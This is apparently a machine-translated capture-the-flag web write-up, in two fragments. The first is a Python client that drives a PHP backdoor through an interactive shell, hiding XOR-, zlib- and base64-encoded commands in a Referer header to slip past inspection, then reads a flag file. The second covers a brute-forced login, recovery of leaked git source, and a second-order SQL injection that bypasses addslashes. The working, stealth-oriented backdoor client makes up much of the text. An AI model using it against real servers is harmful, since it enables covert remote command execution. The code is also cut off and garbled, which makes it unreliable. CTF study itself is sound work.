while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result

def debugPrint(msg):
if debugging:
print msg

# config
debugging = False
keyh = “42f7” # $kh
keyf = “e9ac” # $kf
xorKey = keyh + keyf
url =’’
defaultLang =’zh-CN’
languages ​​= [‘zh-TW;q=0.%d’,’zh-HK;q=0.%d’,’en-US;q=0.%d’,’en;q=0.% d’]
proxies = None # {‘http’:’′} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i]% (indexes[i],))
acceptLangStr =’,’.join(acceptLang)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint(‘$i is %s’% (init2Char))
debugPrint(‘md5 head: %s’% (md5head,))
debugPrint(‘md5 tail: %s’% (md5tail,))

# Interactive php shell
cmd = raw_input(‘phpshell>’)
while cmd !=”:
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint(‘Before insert payload:’)

# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload

# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url +’?’ + urllib.urlencode(query)
debugPrint(‘After insert payload, referer is:’)

# send request
r = sess.get(url,headers={‘Accept-Language’:acceptLangStr,’Referer’:referer},proxies=proxies)
html = r.text

# process response
pattern = re.compile(r'<%s>(.*)</%s>’% (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print’Error, no backdoor response’
cmd = raw_input(‘phpshell>’)
output = output[0]
output = output.decode(‘base64’)
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input(‘phpshell>’)

Use python to run, and then execute the command

system(“cat fllla4aggg.php”);

Get flag


Enter the page, try to post a post, show the account name and password


Use burp to blast, the password is 666 after blasting, log in

Scan the website directory and found the git code leaked, and


Git code leak found a write_do.php

include “mysql.php”;
if($_SESSION[‘login’] !=’yes’){
header(“Location: ./login.php”);
switch ($_GET[‘do’])
$category = addslashes($_POST[‘category’]);
$title = addslashes($_POST[‘title’]);
$content = addslashes($_POST[‘content’]);
$sql = “insert into board
set category =’$category’,
title =’$title’,
content =’$content'”;
$result = mysql_query($sql);
header(“Location: ./index.php”);
$bo_id = addslashes($_POST[‘bo_id’]);
$sql = “select category from board where id=’$bo_id'”;
$result = mysql_query($sql);
$num = mysql_num_rows($result);
$category = mysql_fetch_array($result)[‘category’];
$content = addslashes($_POST[‘content’]);
$sql = “insert into comment
set category =’$category’,
content =’$content’,
bo_id =’$bo_id'”;
$result = mysql_query($sql);
header(“Location: ./comment.php?id=$bo_id”);
header(“Location: ./index.php”);
header(“Location: ./index.php”);

The original question is to use git to restore files

git log –reflog

git reset –hard af36ba2d86ee43cde7b95db513906975cb8ece03 (which is pointed by the first red line)

ou can see that it is mainly addslashes

In the background, the input parameters are escaped through addslashes() to the predefined characters, plus \
Predefined characters include single quote, double quote, backslash, NULL
After putting it in the database, the escape character \ will be removed (there is no backslash after entering the database) and stored in the database
In this php

When writing, all parameters are escaped before they are placed in the SQL statement
But in the comment, the value of category is taken out from the database without escaping, and it is directly spliced into the sql insert statement
This is the injection position
So the idea is clear:

By posting, put the payload in the category and store it in the database
In this process, the payload will not be triggered because of the escape of single quotes, etc.
After the post is successfully posted, in the message comment, when the insert statement is called, because the category retrieved from the database is not escaped, the payload is directly spliced and triggered


There are no reviews yet.

Be the first to review “Offensive and defensive world WEB (1)”

Your email address will not be published. Required fields are marked *